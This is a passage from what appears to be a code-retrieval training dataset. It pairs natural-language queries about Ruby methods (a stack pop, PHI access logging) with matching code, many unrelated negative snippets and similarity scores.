0x20 || look_56_0 == 0x2f || look_56_0 == 0x5c || look_56_0 == 0xa0 )\n alt_56 = 1\n\n end\n case alt_56\n when 1\n # at line 967:12: IGNORABLE\n ignorable!\n\n else\n break # out of loop for decision 56\n end\n end # loop for decision 56\n match( 0x7b )\n # --> action\n quick_balance( LBRACE, RBRACE ) \n # <-- action\n\n ensure\n # -> uncomment the next line to manually enable rule tracing\n # trace_out( __method__, 108 )\n\n end", "def allow_phi(user_id = nil, reason = nil, allow_only: nil, &block)\n get_phi(user_id, reason, allow_only: allow_only, &block)\n return\n end", "def allow_in_post_mortem=(_arg0); end", "def not!\n # -> uncomment the next line to manually enable rule tracing\n # trace_in( __method__, 64 )\n\n type = NOT\n channel = ANTLR3::DEFAULT_CHANNEL\n\n \n # - - - - main rule block - - - -\n # at line 185:7: '!'\n match( 0x21 )\n\n \n @state.type = type\n @state.channel = channel\n\n ensure\n # -> uncomment the next line to manually enable rule tracing\n # trace_out( __method__, 64 )\n\n end", "def allow_anon\n end", "def no_pvp\n no_define\n end", "def allow_member?\n true\n end", "def hide(symbols)\n RegLang.new(fa.hide(symbols))\n end", "def disallow(*methods)\n methods.each do |meth|\n define_method(meth) do |*, **|\n raise \"#{meth} not expected to be called\" if not_deployed?\n end\n end\nend", "def do_exclamation s; mega_pop(s) == 0 ? s[:stack].push(1) : s[:stack].push(0) ; end", "def not!\n # -> uncomment the next line to manually enable rule tracing\n # trace_in( __method__, 61 )\n\n type = NOT\n channel = ANTLR3::DEFAULT_CHANNEL\n\n \n # - - - - main rule block - - - -\n # at line 389:7: '!'\n match( 0x21 )\n\n \n @state.type = type\n @state.channel = channel\n\n ensure\n # -> uncomment the next line to manually enable rule tracing\n # trace_out( __method__, 61 )\n\n end", "def place_members_only?\n false\n end", "def place_members_only?\n false\n end", "def deny_yin_yang(prock, diagnostic = nil, &block)\n source = reflect_source(&block)\n fuss = [diagnostic, \"fault before calling:\", source].compact.join(\"\\n\")\n assert fuss, &prock\n block.call\n fuss = [diagnostic, \"fault after calling:\", source].compact.join(\"\\n\")\n assert fuss, &prock\n end", "def deny()\n if update_attributes({:level => Membership::LEVELS[:denied]})\n true\n else\n reload\n false\n end\n end", "def tilde!\n # -> uncomment the next line to manually enable rule tracing\n # trace_in( __method__, 56 )\n\n type = TILDE\n channel = ANTLR3::DEFAULT_CHANNEL\n\n \n # - - - - main rule block - - - -\n # at line 177:9: '~'\n match( 0x7e )\n\n \n @state.type = type\n @state.channel = channel\n\n ensure\n # -> uncomment the next line to manually enable rule tracing\n # trace_out( __method__, 56 )\n\n end", "def allowed?; true end", "def tilde!\n # -> uncomment the next line to manually enable rule tracing\n # trace_in( __method__, 40 )\n\n type = TILDE\n channel = ANTLR3::DEFAULT_CHANNEL\n\n \n # - - - - main rule block - - - -\n # at line 175:9: '~'\n match( 0x7e )\n\n \n @state.type = type\n @state.channel = channel\n\n ensure\n # -> uncomment the next line to manually enable rule tracing\n # trace_out( __method__, 40 )\n\n end", "def attacking_vertical?\n false\n end", "def ignore_if(&block)\n @@ignores << block\n end", "def allow_phi(user_id = nil, reason = nil, &block)\n get_phi(user_id, reason, &block)\n return\n end", "def make_private!\n reinitialize_rules!\n allow_if do\n false\n end\n return self\n end", "def can_be_blacklisted?\n !self.blacklisted?\n end", "def ~\n case pop\n when 0\n push -1\n when -1\n push 0\n else\n raise StandardError, \"expecting bool\"\n end\n end", "def neg\n push -pop\n end", "def without_bullet\n old_bullet_enable = Bullet.enable?\n Bullet.enable = false\n yield\n ensure\n Bullet.enable = old_bullet_enable\n end", "def allow_nat\n super\n end", "def push_flag!(forced)\n agent_instance.push_trace_execution_flag(true) if forced\n end", "def can_xp?\n false\n end", "def denied\n end", "def -(blacklist); end", "def no(*args)\n _define_check_method(args, caller, true)\n end", "def negation\n attr_val('./@inversionInd') == \"true\"\n end", "def skip_token(nocov_token = T.unsafe(nil)); end", "def false!\n # -> uncomment the next line to manually enable rule tracing\n # trace_in( __method__, 17 )\n\n type = FALSE\n channel = ANTLR3::DEFAULT_CHANNEL\n\n \n # - - - - main rule block - - - -\n # at line 319:9: 'false'\n match( \"false\" )\n\n \n @state.type = type\n @state.channel = channel\n\n ensure\n # -> uncomment the next line to manually enable rule tracing\n # trace_out( __method__, 17 )\n\n end", "def node_safe!(node, lvars: {})\n return unless node.is_a?(Parser::AST::Node)\n\n case node.type\n when :send\n\n # This is a call to a method. If there's a receiver, we'll use the\n # instance method whitelist, otherwise we'll use the list of scriptable\n # methods from the sandbox.\n receiver, method = node.children\n whitelist = receiver ? InstanceMethodWhitelist : Sandbox::ScriptMethods\n raise ProhibitedMethod.new(method, node) unless\n whitelist.include?(method)\n else\n\n # If the node type is not supported, raise an exception.\n raise ProhibitedNodeType.new(node.type, node) unless\n NodeTypeWhitelist.include?(node.type)\n end\n node.children.each { |c| node_safe!(c) }\n end", "def false!\n # -> uncomment the next line to manually enable rule tracing\n # trace_in( __method__, 73 )\n\n type = FALSE\n channel = ANTLR3::DEFAULT_CHANNEL\n\n \n # - - - - main rule block - - - -\n # at line 194:9: 'false'\n match( \"false\" )\n\n \n @state.type = type\n @state.channel = channel\n\n ensure\n # -> uncomment the next line to manually enable rule tracing\n # trace_out( __method__, 73 )\n\n end", "def deny(kind, name, attributes = {})\n new attributes.merge(:kind => kind, :name => name, :allow => false)\n end", "def forbidden?\n @forbidden\n end", "def new_player_allowed?; false end", "def hide!\n singleton_class.send(:define_method, :nodoc) { true }\n end", "def notp(rule, &block)\n ext(NotPredicate.new(rule), block)\n end", "def notp(rule, &block)\n ext(NotPredicate.new(rule), block)\n end", "def global_proxy_exclusion\n super\n end", "def allowedonly()\n merge(gaallowedonly: 'true')\n end", "def forbidding(*args, &block)\n\t\t\t\t\tself.instruction.forbidding *args, &block\n\t\t\t\tend", "def allow_in_control=(_arg0); end", "def is_denied?\n (moderation_flag == false) ? true : false\n end", "def deny(opts = {})\n stmt = self.class::Statement.new(opts.merge(:effect => :deny))\n statements << stmt\n ConditionBuilder.new(stmt.conditions)\n end", "def rspdeny(params = nil)\n if @name_index\n @conf.insert(@name_index + @conf.length, \" \" + \"rspdeny \" + params.to_s + \"\\n\")\n else\n puts \"no #{@proxy_type} name assigned\"\n return false\n end\n end", "def vip_member\n is_admin != true\n end", "def toggle_allow_evals\n update_attribute :allow_evals, !allow_evals?\n allow_evals?\n end", "def revoke_extended_phi!(relations = nil)\n relations ||= @__phi_relations_extended\n relations.each do |relation|\n relation.disallow_last_phi! if relation.present? && relation_klass(relation).included_modules.include?(PhiRecord)\n end\n @__phi_relations_extended.subtract(relations)\n end", "def may_not(*args)\n p = permissions.for(args.pop).first\n return Authorize::Permission::Mask[] unless p\n p.mask -= Authorize::Permission::Mask[*args].complete\n p.mask.empty? ? p.destroy : p.save\n p.mask.complete\n end", "def not(msg=nil)\n @negated = !@negated\n @message = msg if msg\n self\n end", "def _not(memory)\n Memory::Value.bool !@left_operand.value\n end", "def disallowed_warnings\n @disallowed_warnings ||= []\n end", "def rewrite_not(expression)\n value = expression[1]\n\n s(:call,\n s(:colon2,\n s(:const, :VirtualKeywords),\n :REWRITTEN_KEYWORDS\n ), :call_not,\n s(:array,\n s(:self),\n s(:iter, s(:fcall, :lambda), nil, value)\n )\n )\n end", "def negate!\n @negated = @negated ? false : true\n end", "def t__75!\n # -> uncomment the next line to manually enable rule tracing\n # trace_in(__method__, 20)\n\n type = T__75\n channel = ANTLR3::DEFAULT_CHANNEL\n\n \n # - - - - main rule block - - - -\n # at line 26:9: 'protected'\n match(\"protected\")\n\n \n @state.type = type\n @state.channel = channel\n\n ensure\n # -> uncomment the next line to manually enable rule tracing\n # trace_out(__method__, 20)\n\n end", "def uncan_all()\n self.brk_excluded = :all\n end", "def ignore_bang\n @ignore_bang ||= []\n end", "def neg(arg, name = \"\")\n Instruction.from_ptr(C.build_neg(self, arg, name))\n end", "def reject_without_hooks!( & block )\n\n @without_hooks = true\n\n reject!( & block )\n \n @without_hooks = false\n\n return return_value\n\n end", "def deny\n throw(:return)\n end", "def allowDamage _obj, _args\n \"_obj allowDamage _args;\" \n end", "def disable_breakpoint(bp)\n bp.disable\n end", "def meta_push_neg_1\n <<-CODE\n stack_push(I2N(-1));\n CODE\n end", "def bang!\n # -> uncomment the next line to manually enable rule tracing\n # trace_in(__method__, 6)\n\n type = BANG\n channel = ANTLR3::DEFAULT_CHANNEL\n\n \n # - - - - main rule block - - - -\n # at line 12:8: '!'\n match(?!)\n\n \n @state.type = type\n @state.channel = channel\n\n ensure\n # -> uncomment the next line to manually enable rule tracing\n # trace_out(__method__, 6)\n\n end", "def hops_not_member_panel\n $tracer.trace(__method__)\n return ToolTag.new(div.id(\"/notmember/\"), __method__, self)\n end", "def not_a_member_hops\n $tracer.trace(__method__)\n #unit_test_no_generate: not_a_member_hops, a.className(create_ats_regex_string(\"ats-nonmember\"))\n return ToolTag.new(a.className(create_ats_regex_string(\"ats-nonmember\")), __method__, self)\n end", "def negation\n # -> uncomment the next line to manually enable rule tracing\n # trace_in( __method__, 24 )\n\n\n value = nil\n\n\n a = nil\n\n\n begin\n # at line 156:3: ( '!' a= negation |a= term )\n alt_40 = 2\n look_40_0 = @input.peek( 1 )\n\n if ( look_40_0 == T__30 )\n alt_40 = 1\n elsif ( look_40_0.between?( BOOLEAN, CHAR ) || look_40_0.between?( FLOAT, IDENT ) || look_40_0 == INTEGER || look_40_0 == STRING || look_40_0 == T__34 )\n alt_40 = 2\n else\n @state.backtracking > 0 and raise( ANTLR3::Error::BacktrackingFailed )\n\n\n\n raise NoViableAlternative( \"\", 40, 0 )\n\n end\n case alt_40\n when 1\n # at line 156:5: '!' a= negation\n match( T__30, TOKENS_FOLLOWING_T__30_IN_negation_1145 )\n @state.following.push( TOKENS_FOLLOWING_negation_IN_negation_1149 )\n a = negation\n @state.following.pop\n\n # syntactic predicate action gate test\n if @state.backtracking == 0\n # --> action\n value = SingleOperandExpressionEval.new('!', a) \n # <-- action\n end\n\n\n when 2\n # at line 157:5: a= term\n @state.following.push( TOKENS_FOLLOWING_term_IN_negation_1159 )\n a = term\n @state.following.pop\n\n # syntactic predicate action gate test\n if @state.backtracking == 0\n # --> action\n value=a \n # <-- action\n end\n\n\n end\n rescue ANTLR3::Error::RecognitionError => re\n report_error(re)\n recover(re)\n\n ensure\n # -> uncomment the next line to manually enable rule tracing\n # trace_out( __method__, 24 )\n\n\n end\n\n return value\n end", "def add_global_proxy_exclusion(opts)\n opts = check_params(opts,[:addresses])\n super(opts)\n end", "def disable\n redis.hset(FeatureGuard.flags_hkey, feature_name, 0)\n end", "def bound!(_frame)\n # Do nothing\n end", "def remove_member(opts)\n opts = check_params(opts,[:member_vlans])\n super(opts)\n end" ]
[ "0.7317745", "0.7183306", "0.7161934", "0.7147925", "0.6678703", "0.6617949", "0.64365196", "0.63379455", "0.62022114", "0.586159", "0.5701248", "0.5616867", "0.52915275", "0.50800544", "0.49696803", "0.49367988", "0.4933882", "0.4873057", "0.4796245", "0.47469485", "0.47452137", "0.47386172", "0.47180685", "0.46887392", "0.46742412", "0.46470103", "0.4630245", "0.4626261", "0.46259257", "0.46179968", "0.46073896", "0.4598062", "0.4594522", "0.45941195", "0.4581277", "0.45668867", "0.45668867", "0.45616975", "0.45422676", "0.45355392", "0.45341736", "0.4521591", "0.45114022", "0.44953534", "0.44920152", "0.44904116", "0.4484948", "0.44829437", "0.44782373", "0.4442352", "0.44324854", "0.44214663", "0.44109842", "0.44000155", "0.43983266", "0.43813676", "0.4367298", "0.43666068", "0.43665403", "0.43664706", "0.4363066", "0.4362357", "0.43609518", "0.43555102", "0.4355486", "0.43497804", "0.43497804", "0.43351766", "0.43262082", "0.43253154", "0.4320763", "0.4315933", "0.43129697", "0.43069357", "0.43038943", "0.43034875", "0.4292663", "0.42907926", "0.42890868", "0.42877385", "0.4286934", "0.4284802", "0.42824435", "0.428217", "0.428208", "0.427833", "0.4277136", "0.4276956", "0.42706844", "0.42637205", "0.42589548", "0.42574129", "0.42568174", "0.42532897", "0.42491883", "0.42481372", "0.42436936", "0.42433098", "0.42421335", "0.4240379" ]
0.81658965
0
removes the last item in instance internal stack.
def remove_disallow_flag! @__phi_access_stack.pop end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def pop\n if @count > 0\n last_item_index = @count - 1\n\n # stores last element\n last_item = @items[last_item_index]\n\n # remove last item from array\n @items[last_item_index] = nil\n\n # reduces size by 1\n @count -= 1\n\n last_item\n else\n raise \"There are no items in the stack\"\n end\n end", "def pop()\n @stack.pop\n end", "def pop()\n @stack.pop \n end", "def pop()\n @stack.pop\n end", "def pop()\n @stack.pop\n end", "def pop\n last_el = self.stack_var[-1] # not sure if method should return last el\n self.stack_var = self.stack_var[0...-1]\n last_el\n end", "def pop()\n\t\t@stack.pop\n\tend", "def remove\n @stack.pop\n end", "def remove\n @stack.pop\n end", "def pop\n @stack.pop\n end", "def pop\n @stack.pop\n end", "def pop\n delete_at(0)\n end", "def pop # utility\n @stack.pop\n end", "def pop\n @stack.shift\n self\n end", "def pop\n @stack.pop\n end", "def pop\n @stackList.delete_at (@stackList.length - 1)\n postPopListener\n end", "def pop\n @stack.pop\n end", "def pop\n stack.pop\n end", "def pop()\n @stack.shift\n end", "def pop\n stack.pop\n end", "def pop\n stack.pop\n end", "def pop\n @stack.shift\n end", "def pop\n return @stack.pop\n end", "def pop\n raise \"Stack Underflow - The stack is empty\" if self.is_empty?\n top_element = @store.pop\n @top -= 1\n top_element\n end", "def pop()\n # if the stack is empty, return nil\n # (it would also be reasonable to throw an exception)\n if @items.empty?\n return nil\n end\n return @items.pop()\n end", "def pop() end", "def pop()\n # if the stack is empty, return nil\n # (it would also be reasonable to throw an exception)\n if @items.empty?\n return nil\n end\n return @items.pop()\n end", "def pop\n\t\t@stack.pop.cleaup\n\tend", "def pop()\n stack.stack.pop if !empty?\n end", "def pop_last\n @driver_instance.pop_list_last(@key)\n end", "def pop\n return @stack.pop\n end", "def pop\n\t\t\t@last = @stack.pop||\"\"\n\t\t\t@last\n\t\tend", "def pop\n return nil if @count == 0\n\n # get the index of the las titem\n @store.store.reverse.each_with_index do |ele, i|\n if ele != nil \n @last_ele = capacity() - (i+1) \n break\n end\n end\n #val = @store.store.delete_at(@last_ele)\n val = @store.store[@last_ele]\n @store.store[@last_ele] = nil\n @count -= 1\n return val\n end", "def pop()\n\n\n # if the stack is empty, return nil\n # (it would also be reasonable to throw an exception)\n return nil if @items.empty?\n @max_stack.pop() if @max_stack.last == @items.last\n return @items.pop()\n end", "def pop\n raise(UnderflowError, \"There is no element to remove from the stack\") if empty?\n store.pop\n end", "def pop\n @obj.pop\n end", "def pop()\n return \"Stack is empty\" if is_empty\n\n temp = @stack[-1]\n @stack.delete_at(-1)\n @current_size -= 1\n\n return temp\n end", "def pop; end", "def pop; end", "def pop; end", "def pop; end", "def pop; end", "def pop()\n self.min_stack.pop\n return self.stack.pop\n end", "def pop()\n return nil if @stack.empty?\n\n @max_stack.pop\n @stack.pop\n end", "def pop\n self.top = @stack[1]\n @stack.shift\n end", "def pop\n raise StackUnderflow if empty?\n item = @start.info\n @start = @start.nxt\n item\n end", "def pop\r\n removed_item = @data\r\n @data = @data.next_node\r\n removed_item.next_node = nil\r\n removed_item\r\n end", "def pop\n raise EMPTY_STACK_ERROR if @data.empty?\n\n @data.pop\n end", "def pop_stack\n raise ArgumentError if @array_list.empty?\n\n @array_list.pop\n end", "def pop\n self.size -= 1\n Readline::HISTORY.pop\n end", "def pop()\n \n end", "def pop()\n \n end", "def pop()\n \n end", "def pop\r\n # IMPLEMENT ME\r\n end", "def pop()\n @VAR_STACK.pop()\n end", "def pop\n list.pop\n end", "def pop()\n if @stacks.empty?\n -1\n else\n reset_left_right(@stacks.size-1, true)\n end\n end", "def pop\n if @items.nil?\n\t raise \"Empty Stack -- nothing can be poped\"\n end\n\tpt = @items\n\t@items = @items.next\n\tpt.next = nil\n\treturn pt.value\n end", "def pop\n raise StackUnderflow if empty?\n @index -= 1\n @info[@index]\n end", "def pop()\n # if the stack is empty, return nil\n # (it would also be reasonable to throw an exception)\n if @items.empty?\n return nil\n end\n popped = @items.pop\n @max.pop if popped = @max.last\n return popped\n end", "def pop!\n r = @stack.pop\n raise ArgumentError if r.nil?\n r\n end", "def pop()\n @data.pop\n end", "def pop()\n @min_stack.pop if @min_stack[-1] == @stack[-1]\n @stack.pop; nil \n end", "def pop\n\t\tremove(@length - 1)\n\tend", "def pop\n raise \"stack underflow\" if empty?\n super\n end", "def pop()\n @min_stack.pop() if @min_stack[-1] == @stack[-1]\n @stack.pop()\n end", "def pop()\n @store.pop\n end", "def pop()\n @store.pop\n end", "def pop\n item = @first.val\n @first = @first.next\n @last = nil if(@first == nil)\n @size -= 1\n item\n end", "def pop()\n item = @stack.pop()\n if item == @maxs_stack.peek()\n @maxs_stack.pop()\n end\n return item\n end", "def pop\n curr = items\n ret = curr.pop\n\n serialize(curr)\n\n ret.nil? ? nil : ret\n end", "def pop\n @a.pop\n end", "def remove\n if @pop_stack.is_empty?\n transfer(@push_stack, @pop_stack)\n end\n\n @pop_stack.pop\n end", "def pop\n # assume head of @store is top of stack\n return @store.remove_first()\n end", "def pop\n # if there's nothing on the stack, you can't take anything off\n if empty?\n nil\n else\n # popped is going to take the thing at the index that is the top of our stack\n popped = @store[@top]\n # now we make that index nil\n @store[@top] = nil\n # now we move the @top marker to the index below, because that is our new top\n @top = @top.pred #@top--\n # explicit return of the item from the top of the stack\n popped\n end\n end", "def pop\n CGContextRestoreGState(@ctx)\n @stacksize = @stacksize - 1\n end", "def pop()\n return @VAR_STACK.pop()\n end", "def pop()\n return @VAR_STACK.pop()\n end", "def pop\n end", "def pop\n # if Stack is empty, cannot remove anything\n if empty?\n nil\n else\n # popped set equal to last element in @store array\n popped = @store[@top]\n # sets last element in @store array to nil\n @store[@top] = nil\n # sets @top equal to @top - 1 (so -2 the first time through, then -3, etc.) - there is still an empty slot in @store at index -1, but no actual element there\n @top = @top.pred #@top--\n # returns the element that was removed from @store/popped from Stack\n popped\n end\n end", "def pop\n if empty?\n nil\n else\n @q.remove\n @stack.shift\n end\n end", "def pop\n @data.delete_at @data.length - 1 if @data.length > 0\n end", "def pop\n super[0]\n end", "def pop\n super[0]\n end", "def dequeue\n @items.delete_at(0)\n end", "def pop\n\t item = @items.pop()\n\t # if the popped item is the highest, remove it from the max\n\t @max.pop() if item == @max.last\n\t item\n\tend", "def pop\n # IMPLEMENT ME\n end", "def pop\n if empty?\n nil\n else\n popped = @store[@top]\n @store[@top] = nil\n #decrement top\n @top = @top.pred\n popped\n end\n end", "def pop\n if empty?\n nil\n else\n popped = @store[@top]\n @store[@top] = nil\n #decrement top\n @top = @top.pred\n popped\n end\n end", "def pop \r\n @data.pop\r\n end", "def pop_state\n @state.pop\n end", "def pop\n\t\tif @length==1\n\t\t\t@last = nil\n\t\t\t@first = nil\n\t\telse \n\t\t\t@last = @last.back\n\t\t\t@last.front = nil\n\t\t\t@first = @last if @length==2\n\t\tend\n\t\t@length-=1\n\tend", "def pop_tree\n @tree_stack.pop\n end", "def pop_at_stack(index)\n \n end", "def drop_last_screen\n @sequence.pop\n previous\n end", "def pop\n raise \"No cursors to pop\" unless @stack.size > 1\n\n @stack.pop\n\n self\n end", "def pop()\n\n\t\tviewStack = self.instance_variable_get(\"@hooViews\");\n\t\tif viewStack.nil? or viewStack.empty?\n\t\t\traise \"unpalanced view stack\"\n\t\tend\n\t\tviewStack.pop();\n\tend", "def pop\n @store.pop\n \n end", "def pop_all\n # HDLRuby::High.cur_system.hprint(\"pop_all\\n\")\n @stack_ptr <= @stack_ptr -1\n end", "def pop\n if self.empty?\n raise UnderflowError, \"The stack is empty!\"\n else\n @mini_stack.pop\n @maxx_stack.pop\n @stak.pop\n end\n end", "def pop\n last = size\n at(last - 2).next_node = nil\n end" ]
[ "0.7876991", "0.7710947", "0.76845044", "0.7684091", "0.7682939", "0.76709926", "0.76461333", "0.7643227", "0.7643227", "0.7581042", "0.7581042", "0.75685394", "0.7547953", "0.7541613", "0.7536002", "0.75192344", "0.7518482", "0.7458838", "0.7430498", "0.74167466", "0.74167466", "0.7362992", "0.73342735", "0.7330623", "0.7309179", "0.7304626", "0.73031557", "0.72775453", "0.7266301", "0.7237483", "0.72300005", "0.72299796", "0.7224218", "0.7210063", "0.7209057", "0.7205042", "0.7184119", "0.71719617", "0.71719617", "0.71719617", "0.71719617", "0.71719617", "0.7159376", "0.71406424", "0.71081704", "0.7093192", "0.70787287", "0.7066485", "0.7058211", "0.70471156", "0.7026898", "0.7026898", "0.7026898", "0.698571", "0.69838774", "0.69628495", "0.69592285", "0.6956492", "0.69557464", "0.6953813", "0.6950247", "0.69476175", "0.6943495", "0.69168174", "0.6915905", "0.6910357", "0.68927884", "0.68927884", "0.6875217", "0.68734694", "0.68642175", "0.68507457", "0.68500584", "0.68468577", "0.6846069", "0.68455726", "0.68436533", "0.68436533", "0.68418753", "0.6837387", "0.682625", "0.6824512", "0.68160754", "0.68160754", "0.6814698", "0.67784613", "0.67732966", "0.6765509", "0.6765509", "0.67649424", "0.67521966", "0.674508", "0.6743763", "0.6740899", "0.6735787", "0.67306393", "0.67239165", "0.6712514", "0.67098314", "0.6694601", "0.6660705" ]
0.0
-1
Entry point for wrapping methods with PHI access logging. This is called by an `after_initialize` hook from ActiveRecord.
def wrap_phi # Disable PHI access by default @__phi_access_stack = [] @__phi_methods_extended = Set.new @__phi_relations_extended = Set.new # Wrap attributes with PHI Logger and Access Control __phi_wrapped_methods.each { |m| phi_wrap_method(m) } __phi_extended_methods.each { |m| phi_wrap_extension(m) } end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def post_init\n # puts 'Syslogger initialized'\n end", "def log; end", "def log; end", "def log; end", "def log; end", "def log; end", "def log; end", "def log; end", "def log; end", "def initialize\n\t\t@@logger = OMLogger.getLogger(DataHelper.name)\n\tend", "def initialize\n Logging.setup(Logger::INFO)\n end", "def logger; end", "def logger; end", "def logger; end", "def logger; end", "def logger; end", "def logger; end", "def logger; end", "def logger; end", "def logger; end", "def logger; end", "def logger; end", "def logger; end", "def logger; end", "def logger; end", "def logger; end", "def logger; end", "def logger; end", "def logger; end", "def logger; end", "def after_initialize(opts)\n end", "def logger ; @log end", "def post_init()\n puts \"#{self} post_init done!\"\n end", "def post_init()\n puts \"#{self} post_init done!\"\n end", "def around_hooks; end", "def instrument_additional_methods\n instrument_save_methods\n instrument_relation_methods\n end", "def log\n\t\t\t@log_proxy ||= ClassNameProxy.new( self.class )\n\t\tend", "def log\n\t\t\t@log_proxy ||= ClassNameProxy.new( self.class )\n\t\tend", "def log\n\t\t\t@log_proxy ||= ClassNameProxy.new( self.class )\n\t\tend", "def log\n\t\t\t@log_proxy ||= ClassNameProxy.new( self.class )\n\t\tend", "def log\n\t\t\t@log_proxy ||= ClassNameProxy.new( self.class )\n\t\tend", "def setup_database_logger\n ActiveRecord::Base.logger = PuppetHerald.logger\n nil\n end", "def tracing()\n #This is a stub, used for indexing\n end", "def test_add_method_tracer_in_initializer_gets_traced_when_agent_initialized_after_config_initializers\n skip unless defined?(Rails::VERSION)\n skip RAILS_32_SKIP_MESSAGE if Rails::VERSION::MAJOR == 3\n\n assert Bloodhound.newrelic_method_exists?('sniff'),\n 'Bloodhound#sniff not found by' \\\n 'NewRelic::Agent::MethodTracer::ClassMethods::AddMethodTracer.newrelic_method_exists?'\n assert Bloodhound.method_traced?('sniff'),\n 'Bloodhound#sniff not found by' \\\n 'NewRelic::Agent::MethodTracer::ClassMethods::AddMethodTracer.method_traced?'\n end", "def sign_in_local\n __log_activity\n __debug_route\n end", "def InitializeHooks\n end", "def verbose_logging; end", "def initialize_audit_log\n # only save logs for POST,PUT,PATCH and DELETE methods\n # creates\n if (request.post? || request.patch? || request.put? || request.delete? )\n @audit_log = AuditLog.new\n @audit_log.ip = request.remote_ip\n @audit_log.user_name = current_user.full_name\n end\n\n end", "def log_debug\n\t\t\t@log_debug_proxy ||= ClassNameProxy.new( self.class, true )\n\t\tend", "def log_debug\n\t\t\t@log_debug_proxy ||= ClassNameProxy.new( self.class, true )\n\t\tend", "def log_debug\n\t\t\t@log_debug_proxy ||= ClassNameProxy.new( self.class, true )\n\t\tend", "def log_debug\n\t\t\t@log_debug_proxy ||= ClassNameProxy.new( self.class, true )\n\t\tend", "def log_debug\n\t\t\t@log_debug_proxy ||= ClassNameProxy.new( self.class, true )\n\t\tend", "def initialize()\n @log = {}\n end", "def initialize\n @log = Logging::Logger[self]\n end", "def initialize\n ActiveRecord::Base.logger = Logger.new(STDOUT)\n end", "def log\n end", "def after_initialize(&block); end", "def after_initialize\n # noop\n end", "def phi_log_keys\n @__phi_log_id = persisted? ? \"Key: #{attributes[self.class.primary_key]}\" : \"Object: #{object_id}\"\n @__phi_log_keys = [PHI_ACCESS_LOG_TAG, self.class.name, @__phi_log_id]\n end", "def initialize ( _caller )\n super\n end", "def initialize ( _caller )\n super\n end", "def initialize\n @connection = PG::Connection.open dbname: 'hospital', host: 'localhost'\n @password = (OpenSSL::Digest.new 'SHA256').digest 'password'\n @iv = (OpenSSL::Digest.new 'SHA256').digest 'iv'\n self.add_observer CLogger.new\n self\n end", "def log=(log); end", "def method_missing(method_symbol, *args)\n init() unless @logger\n if args.length > 0\n @logger.send(method_symbol, *args)\n else\n @logger.send(method_symbol)\n end\n end", "def after_initialized\n end", "def new_tagged_logger; end", "def initialize(pointer)\n super(pointer)\n debugCB = Proc.new do |cookie, msg, msgLen|\n printf(\"lognorm: %s\\n\", msg)\n end\n setDebugCB(debugCB)\n end", "def before_initialize(&block); end", "def logL\n raise \"No implemented\"\n end", "def log\n Howitzer::Log.instance\nend", "def after_initialize\n @__depth = self.__options[:depth] || 0\n @__ability = self.__options[:ability]\n\n if self.__options[:current_account] && self.__options[:current_site]\n @__ability = Locomotive::Ability.new self.__options[:current_account], self.__options[:current_site]\n end\n end", "def initialize(*)\n @l = SingLogger.instance\n end", "def after_initialize; end", "def after_initialize; end", "def after_initialize; end", "def after_initialize; end", "def enable_logging\n initialize_logger\n end", "def on_request(env)\n env['sinatra.commonlogger'] = true\n super\n end", "def initialize(app, &block)\n\n @app = app\n\n set Footprint::Log::Basic, STDOUT\n\n @app.class.send(:define_method, :logger,\n Proc.new do\n @env[:footprint_logger]\n end)\n\n self.instance_eval &block if block\n end", "def initialize(*args)\n @init_args = args\n set_log(*args)\n end", "def initialize\n @logger = Logging::Logger[self]\n end", "def post_initialize( *args, & block )\n # call to super in case we extend Class or Module, so we can stack calls to post_initialize\n super if defined?( super )\n # nothing here - subclasses define\n end", "def log=(logger); end", "def logging_prefs; end", "def initialize logger = Nacreon.log\n\t\t\tself.log = logger\n\t\tend", "def log_state\n super\n end", "def logger; LOGGER; end", "def initialize\n self.models = {}\n self.object_map = {}\n self.fixture_name_map = {}\n\n # Lower the logging level since we are about to create many records.\n _logger = Logger.new(STDOUT)\n _logger.level = Logger::ERROR\n ActiveRecord::Base.logger = _logger\n end", "def initialize\n @logProvider = DefaultLogger.new\n end", "def start_logger\n VWO::Logger.class_eval do\n # Override this method to handle logs in a #{ab_test_campaign_goal} manner\n def log(level, message)\n # Modify message for #{ab_test_campaign_goal} logging\n message = \"#{ab_test_campaign_goal} message #{message}\"\n VWO::Logger.class_variable_get('@@logger_instance').log(level, message)\n end\n end\nend", "def verbose_logging=(_arg0); end", "def trace!(*methods)\n@_traced = @_traced || []\n# Remember the set of traced methods\n# If no methods were specified, use all public methods defined\n# directly (not inherited) by the class of this object\nmethods = public_methods(false) if methods.size == 0\nmethods.map! {|m| m.to_sym } # Convert any strings to symbols\nmethods -= @_traced\n# Remove methods that are already traced\nreturn if methods.empty?\n# Return early if there is nothing to do\n@_traced |= methods\n# Add methods to set of traced methods\n# Trace the fact that we're starting to trace these methods\nSTDERR << \"Tracing #{methods.join(', ')} on #{object_id}\\n\"\n# Singleton methods are defined in the eigenclass\neigenclass = class << self; self; end\nmethods.each do |m|\n# For each method m\n# Define a traced singleton version of the method m.\n# Output tracing information and use super to invoke the\n# instance method that it is tracing.\n# We want the defined methods to be able to accept blocks, so we\n# can't use define_method, and must instead evaluate a string.\n# Note that everything between %Q{ and the matching } is a\n# double-quoted string, not a block. Also note that there are\n# two levels of string interpolations here. #{} is interpolated\n# when the singleton method is defined. And \\#{} is interpolated\n# when the singleton method is invoked.\neigenclass.class_eval %Q{\ndef #{m}(*args, &block)\nbegin\nSTDERR << \"Entering: #{m}(\\#{args.join(', ')})\\n\"\nresult = super\nSTDERR << \"Exiting: #{m} with \\#{result}\\n\"\nresult\nrescue\nSTDERR << \"Aborting: #{m}: \\#{$!.class}: \\#{$!.message}\"\nraise\nend\nend\n}\nend\nend", "def log \n\t\t\tArrow::Logger[ self.class ]\n\t\tend", "def call(env)\n logger(env)\n end", "def log\n Blower::Logger.instance\nend", "def before_dispatch(env); end", "def prepare_report_object_hook\n # Nothing in base method\n end", "def init\n ctx = ComputationContext.new(self)\n log_failure do\n handler.init(ctx)\n end\n ctx.transaction\n end", "def initialize(logger = T.unsafe(nil)); end" ]
